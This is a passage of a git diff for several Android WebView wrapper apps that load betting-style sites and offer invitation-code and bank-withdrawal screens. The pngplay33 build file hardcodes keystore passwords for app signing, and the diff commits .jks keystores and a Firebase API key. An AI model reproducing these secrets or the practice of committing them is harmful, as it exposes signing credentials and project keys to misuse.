100644 index 0000000..7837a42 --- /dev/null +++ b/perdana99/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/drawable/shape_dialog_bg3.xml b/perdana99/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/perdana99/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/drawable/shape_dialog_bg_new.xml b/perdana99/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/perdana99/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/perdana99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/perdana99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/perdana99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/perdana99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/mipmap-hdpi/ic_empty.png b/perdana99/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/perdana99/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/perdana99/src/main/res/mipmap-hdpi/ic_pull_down.png b/perdana99/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/perdana99/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/perdana99/src/main/res/mipmap-xhdpi/ic_close.png b/perdana99/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/perdana99/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/perdana99/src/main/res/mipmap-xhdpi/ic_menu.png b/perdana99/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/perdana99/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/perdana99/src/main/res/mipmap-xxhdpi/app_logo.jpg b/perdana99/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..30561ab Binary files /dev/null and b/perdana99/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/perdana99/src/main/res/values-en/strings.xml b/perdana99/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/perdana99/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/perdana99/src/main/res/values-night/themes.xml b/perdana99/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/perdana99/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/values/colors.xml b/perdana99/src/main/res/values/colors.xml new file mode 100644 index 0000000..4c5aaf3 --- /dev/null +++ b/perdana99/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #040404 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/perdana99/src/main/res/values/strings.xml b/perdana99/src/main/res/values/strings.xml new file mode 100644 index 0000000..67c0af4 --- /dev/null +++ b/perdana99/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + Perdana99 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/values/themes.xml b/perdana99/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/perdana99/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/xml/app_updater_paths.xml b/perdana99/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/perdana99/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/xml/network_security_config.xml b/perdana99/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/perdana99/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/perdana99/src/main/res/xml/provider_paths.xml b/perdana99/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/perdana99/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/perdana99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/perdana99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/perdana99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/petronas777/src/main/java/com/web/petronas777/MyFirebaseMessageingService.java b/petronas777/src/main/java/com/web/petronas777/MyFirebaseMessageingService.java index eeef4f7..5349e71 100644 --- a/petronas777/src/main/java/com/web/petronas777/MyFirebaseMessageingService.java +++ b/petronas777/src/main/java/com/web/petronas777/MyFirebaseMessageingService.java @@ -83,14 +83,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(messageInfo.getTitle()) .setContentText(messageInfo.getContent()) .setAutoCancel(true) @@ -129,14 +129,14 @@ public class MyFirebaseMessageingService extends FirebaseMessagingService { channelwinway.enableVibration(true); notificationManager.createNotificationChannel(channelwinway); notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) .setContentIntent(pendingIntent); } else { notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) - .setSmallIcon(com.web.base.R.mipmap.ic_launcher) + .setSmallIcon(R.mipmap.app_logo) .setContentTitle(title) .setContentText(body) .setAutoCancel(true) diff --git a/play33new/src/main/java/com/web/play33/MainActivity2.java b/play33new/src/main/java/com/web/play33/MainActivity2.java index 0a68d8d..fb0283f 100644 --- a/play33new/src/main/java/com/web/play33/MainActivity2.java +++ b/play33new/src/main/java/com/web/play33/MainActivity2.java @@ -21,9 +21,9 @@ public class MainActivity2 extends com.web.base.MainActivity2 { saveInt(MainActivity2.this,"version_code",getVersion()); MainActivity.saveString(this, "base_url","https://www.play33sg.com/"); //网页的底部NavigationBar颜色 - MainActivity.saveString(this, "style_color", "#353a41"); + MainActivity.saveString(this, "style_color", "#0292c5"); //页面的大背景颜色 - MainActivity.saveString(this, "windows_color", "#161a20"); + MainActivity.saveString(this, "windows_color", "#050340"); //任务栏的文字颜色 0 黑 1白 默认黑 saveInt(MainActivity2.this,"is_white",1); super.onCreate(savedInstanceState); @@ -36,6 +36,8 @@ public class MainActivity2 extends com.web.base.MainActivity2 { } }); + setBackDrawables(R.drawable.big_bg); + setImageView(false); } public int getVersion(){ diff --git a/play33new/src/main/res/drawable/big_bg.xml b/play33new/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..a165807 --- /dev/null +++ b/play33new/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/play33new/src/main/res/mipmap-xxhdpi/app_logo.jpg b/play33new/src/main/res/mipmap-xxhdpi/app_logo.jpg deleted file mode 100644 index 1bc21f2..0000000 Binary files a/play33new/src/main/res/mipmap-xxhdpi/app_logo.jpg and /dev/null differ diff --git a/play33new/src/main/res/mipmap-xxhdpi/app_logo.png b/play33new/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..400492d Binary files /dev/null and b/play33new/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/play33new/src/main/res/values/colors.xml b/play33new/src/main/res/values/colors.xml index 7895913..c3951b6 100644 --- a/play33new/src/main/res/values/colors.xml +++ b/play33new/src/main/res/values/colors.xml @@ -9,6 +9,7 @@ #FFFFFFFF #EF4723 #FFFFFFFF + #0292c5 #2C2C2E #FFA722 diff --git a/play33new/src/main/res/values/themes.xml b/play33new/src/main/res/values/themes.xml index e45ca64..58db0d2 100644 --- a/play33new/src/main/res/values/themes.xml +++ b/play33new/src/main/res/values/themes.xml @@ -64,10 +64,10 @@ - @color/white + @color/main_color false - #161a20 + @drawable/big_bg diff --git a/pngplay33/.gitignore b/pngplay33/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/pngplay33/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/pngplay33/build.gradle b/pngplay33/build.gradle new file mode 100644 index 0000000..0ca755e --- /dev/null +++ b/pngplay33/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.pngplay33" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "pngplay33" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/pngplay33/dskjweb.jks b/pngplay33/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/pngplay33/dskjweb.jks differ diff --git a/pngplay33/google-services.json b/pngplay33/google-services.json new file mode 100644 index 0000000..9b1c8ab --- /dev/null +++ b/pngplay33/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "152524019779", + "project_id": "pngplay33-43ea1", + "storage_bucket": "pngplay33-43ea1.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:152524019779:android:df40348e0236af0692dcf6", + "android_client_info": { + "package_name": "com.web.pngplay33" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyD31hOWP4Wsz9_QwVDAJTDj-Av8jDq0jJ4" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/pngplay33/ppn.jks b/pngplay33/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/pngplay33/ppn.jks differ diff --git a/pngplay33/proguard-rules.pro b/pngplay33/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/pngplay33/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/pngplay33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/pngplay33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/pngplay33/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/pngplay33/src/main/AndroidManifest.xml b/pngplay33/src/main/AndroidManifest.xml new file mode 100644 index 0000000..e4ad625 --- /dev/null +++ b/pngplay33/src/main/AndroidManifest.xml @@ -0,0 +1,98 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/java/com/web/pngplay33/MainActivity.java b/pngplay33/src/main/java/com/web/pngplay33/MainActivity.java new file mode 100644 index 0000000..ab616b2 --- /dev/null +++ b/pngplay33/src/main/java/com/web/pngplay33/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.pngplay33; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 215; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://pngplay33.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#030303"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#030303"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色t + setBackDrawables(R.drawable.big_bg); + setImageView(false); +// showTopV1.setImageResource(R.mipmap.app_logo1); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/pngplay33/src/main/java/com/web/pngplay33/MyFirebaseMessageingService.java b/pngplay33/src/main/java/com/web/pngplay33/MyFirebaseMessageingService.java new file mode 100644 index 0000000..4a31bbd --- /dev/null +++ b/pngplay33/src/main/java/com/web/pngplay33/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.pngplay33; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/pngplay33/src/main/java/com/web/pngplay33/WebApplication.java b/pngplay33/src/main/java/com/web/pngplay33/WebApplication.java new file mode 100644 index 0000000..277ec8f --- /dev/null +++ b/pngplay33/src/main/java/com/web/pngplay33/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.pngplay33; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/pngplay33/src/main/res/drawable-anydpi/ic_action_back.xml b/pngplay33/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/pngplay33/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/pngplay33/src/main/res/drawable-hdpi/ic_action_back.png b/pngplay33/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/pngplay33/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/pngplay33/src/main/res/drawable-mdpi/ic_action_back.png b/pngplay33/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/pngplay33/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/pngplay33/src/main/res/drawable-v24/ic_launcher_foreground.xml b/pngplay33/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/pngplay33/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/drawable-xhdpi/ic_action_back.png b/pngplay33/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/pngplay33/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/pngplay33/src/main/res/drawable-xxhdpi/ic_action_back.png b/pngplay33/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/pngplay33/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/pngplay33/src/main/res/drawable/big_bg.xml b/pngplay33/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..832d29b --- /dev/null +++ b/pngplay33/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/drawable/ic_launcher_background.xml b/pngplay33/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/pngplay33/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pngplay33/src/main/res/drawable/input_bg.xml b/pngplay33/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/pngplay33/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/pngplay33/src/main/res/drawable/pass_word_bg.xml b/pngplay33/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/pngplay33/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/pngplay33/src/main/res/drawable/pass_word_bg1.xml b/pngplay33/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/pngplay33/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/drawable/pass_word_bg2.xml b/pngplay33/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/pngplay33/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/drawable/shape_btn_bg.xml b/pngplay33/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/pngplay33/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/drawable/shape_dialog_bg2.xml b/pngplay33/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/pngplay33/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/pngplay33/src/main/res/drawable/shape_dialog_bg3.xml b/pngplay33/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/pngplay33/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git 